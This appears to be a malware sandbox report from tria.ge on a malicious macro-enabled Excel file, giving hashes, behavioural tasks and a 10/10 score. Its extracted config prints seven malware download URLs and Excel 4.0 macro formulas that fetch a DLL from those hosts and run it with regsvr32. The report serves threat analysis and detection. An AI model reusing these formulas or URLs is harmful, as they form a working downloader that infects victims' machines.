Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
74ae4fcaf6fce510942f298840e2ffd98d185e6276f1da168b5057478ee5c71b
-
Size
21KB
-
Sample
241111-zvkdeszkel
-
MD5
d932543082c698537ac4038898390231
-
SHA1
fe6f21aa7cd2bd1ec9ebf9830ab17225febf1a1d
-
SHA256
74ae4fcaf6fce510942f298840e2ffd98d185e6276f1da168b5057478ee5c71b
-
SHA512
0e1380a3a6f0fb93a7874d5ae031220b2da85d3ab28e45f98b1c3cf916d3507dcbfa18a3b1eb7536641e6d7470f0028920ea6824a7be07e7a20489529b1d0ba7
-
SSDEEP
384:PhuAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:PtsNxzXQFCBn9kC+xbL71
Behavioral task
behavioral1
Sample
74ae4fcaf6fce510942f298840e2ffd98d185e6276f1da168b5057478ee5c71b.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
74ae4fcaf6fce510942f298840e2ffd98d185e6276f1da168b5057478ee5c71b.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://beetle-j.jp/wp-admin/ErM4mW05tdj/
https://brutobrasil.com.br/pdf/toO18cIP3/
http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/
http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/
http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/
http://bcelectronics.co.za/wp-content/grKnz1V/
http://bebesel.com.tr/cgi-bin/1wy3oHO/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beetle-j.jp/wp-admin/ErM4mW05tdj/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/toO18cIP3/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bcelectronics.co.za/wp-content/grKnz1V/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bebesel.com.tr/cgi-bin/1wy3oHO/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Extracted
http://beetle-j.jp/wp-admin/ErM4mW05tdj/
https://brutobrasil.com.br/pdf/toO18cIP3/
http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/
Targets
-
-
Target
74ae4fcaf6fce510942f298840e2ffd98d185e6276f1da168b5057478ee5c71b
-
Size
21KB
-
MD5
d932543082c698537ac4038898390231
-
SHA1
fe6f21aa7cd2bd1ec9ebf9830ab17225febf1a1d
-
SHA256
74ae4fcaf6fce510942f298840e2ffd98d185e6276f1da168b5057478ee5c71b
-
SHA512
0e1380a3a6f0fb93a7874d5ae031220b2da85d3ab28e45f98b1c3cf916d3507dcbfa18a3b1eb7536641e6d7470f0028920ea6824a7be07e7a20489529b1d0ba7
-
SSDEEP
384:PhuAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:PtsNxzXQFCBn9kC+xbL71
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-